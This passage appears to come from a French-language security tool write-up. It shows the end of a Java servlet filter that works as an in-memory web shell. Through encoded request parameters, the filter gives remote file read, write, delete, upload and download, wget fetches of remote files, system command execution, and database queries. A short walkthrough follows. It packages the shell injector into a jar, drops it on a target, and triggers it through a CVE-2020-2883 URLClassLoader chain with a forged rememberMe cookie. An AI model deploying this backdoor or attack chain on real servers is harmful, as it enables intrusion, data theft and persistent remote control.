            String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
            String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
            String[] pars = {z0, z1, z2, z3};
            sb.append("->|");

            if (funccode.equals("B")) {
                sb.append(FileTreeCode(pars[1]));
            } else if (funccode.equals("C")) {
                sb.append(ReadFileCode(pars[1]));
            } else if (funccode.equals("D")) {
                sb.append(WriteFileCode(pars[1], pars[2]));
            } else if (funccode.equals("E")) {
                sb.append(DeleteFileOrDirCode(pars[1]));
            } else if (funccode.equals("F")) {
                DownloadFileCode(pars[1], response);
            } else if (funccode.equals("U")) {
                sb.append(UploadFileCode(pars[1], pars[2]));
            } else if (funccode.equals("H")) {
                sb.append(CopyFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("I")) {
                sb.append(RenameFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("J")) {
                sb.append(CreateDirCode(pars[1]));
            } else if (funccode.equals("K")) {
                sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
            } else if (funccode.equals("L")) {
                sb.append(WgetCode(pars[1], pars[2]));
            } else if (funccode.equals("M")) {
                sb.append(ExecuteCommandCode(pars[1], pars[2]));
            } else if (funccode.equals("N")) {
                sb.append(showDatabases(pars[0], pars[1]));
            } else if (funccode.equals("O")) {
                sb.append(showTables(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("P")) {
                sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
            } else if (funccode.equals("Q")) {
                sb.append(query(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("A")) {
                sb.append(SysInfoCode(request));
            }
        } catch (Exception e) {
            sb.append("ERROR" + "://" + e.toString());
            e.printStackTrace();
        }
        sb.append("|<-");
        response.getWriter().print(sb.toString());
    } else {
        chain.doFilter(request, response);
    }
}

public void destroy() {
}

}

root@kitploit:~
Maintenant, vous pouvez directement attaquer. Commencez par empaqueter org.chabug.memshell.InjectFilterShell en un jar.```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

image-20200825105630712

Ensuite, déposez tttt.jar et AntSwordFilterShell.class sur la cible. Enfin, utilisez CVE_2020_2883_URLClassLoader pour générer un cookie rememberMe et attaquer la cible.

URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell

Démonstration :